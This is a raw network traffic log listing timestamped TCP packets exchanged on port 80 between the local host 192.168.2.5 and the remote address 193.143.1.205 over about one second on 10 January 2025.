Jan 10, 2025 17:16:44.724540949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.779594898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779611111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779630899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779643059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779654026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779663086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.779669046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779706955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.779736996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.779783010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779794931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779808044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779823065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779835939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779844046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.779870987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.779911995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779947996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.779956102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.779968023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.780002117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.780050993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.780062914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.780076027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.780096054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815184116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815211058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815224886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815238953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815300941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815306902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815327883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815342903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815371037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815388918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815407991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815484047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815530062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815531015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815550089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815561056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815570116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815582037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815588951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815593004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815604925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815633059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815670013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815681934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815692902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815704107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815709114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815716982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815731049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815747023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815763950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.815946102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.815964937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816008091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816031933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816042900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816054106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816080093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816500902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816510916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816529036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816540956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816550970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816555023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816562891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816574097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816601038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816730022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816749096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816771984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816792011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816812038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816823959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816833019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816857100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816936970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816950083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816962957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816973925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816987991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.816989899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.816999912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817014933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817017078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.817030907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817037106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.817066908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.817217112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817306042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817317009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817328930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817346096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.817359924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.817409992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817420959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.817461967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820163965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820350885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820360899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820379972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820391893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820400953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820403099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820420027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820427895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820431948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820445061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820456982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820461035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820468903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820480108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820489883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820493937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820508003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820519924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820527077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820533037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820559978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820573092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820822001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820844889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820875883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820930958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820941925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820952892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.820971012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.820997953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821033955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821109056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821120024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821130991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821141958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821154118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821156979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821166992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821177006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821201086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821343899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821355104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821387053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821508884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821520090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821528912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821540117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821552038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821563959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821568966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821576118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821588039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821597099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821602106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821613073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821624041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821634054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.821635962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.821667910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.822002888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822014093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822031021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822061062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.822073936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.822102070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822114944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822127104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822139025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822139978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.822153091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822165012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822170973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.822179079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.822196960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.822208881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.838165998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.868848085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868864059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868875980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868920088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868932009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868944883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868963003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868966103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.868983030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.868995905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869009018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869009972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869019985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869031906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869033098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869048119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869048119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869072914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869076014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869091034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869102001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869111061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869142056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869205952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869218111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869230986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869242907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869256020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869259119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869268894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869286060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.869293928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.869307995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.903966904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.903991938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904005051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904026985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904051065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904062033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904076099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904078960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904093981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904114008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904124022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904135942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904148102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904160023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904175043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904175997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904196024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904201984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904206991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904220104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904231071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904244900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904244900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904258013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904262066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904278040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904290915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904292107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904301882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904311895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904331923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.904973984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.904992104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905003071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905020952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905028105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905035973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905047894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905055046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905061960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905085087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905262947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905272961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905313015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905317068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905329943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905340910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905349970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905354977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905369043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905380964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905406952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905412912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905514956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905525923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905539036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905550003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905554056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905563116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905574083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905575991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905582905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905602932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905610085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905666113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905673981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905693054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905705929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905713081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905719995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905731916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905739069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905745983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905759096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905770063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905801058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905812025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905829906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905841112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905852079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905864954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905873060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905877113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905886889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905915022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.905963898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905976057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905987024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.905997992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906008959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906021118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906023979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906048059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906060934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906074047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906086922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906099081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906112909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906121016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906125069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906136990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906147003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906168938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906337976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906349897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906361103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906372070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906383991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906387091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906398058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906402111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906414986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906444073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906471968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906482935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906497002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906505108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906508923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906522036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906529903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906536102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906557083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906559944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906569004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906583071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906591892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:16:44.906596899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:16:44.906621933 CET	49704	80	192.168.2.5	193.143.1.205
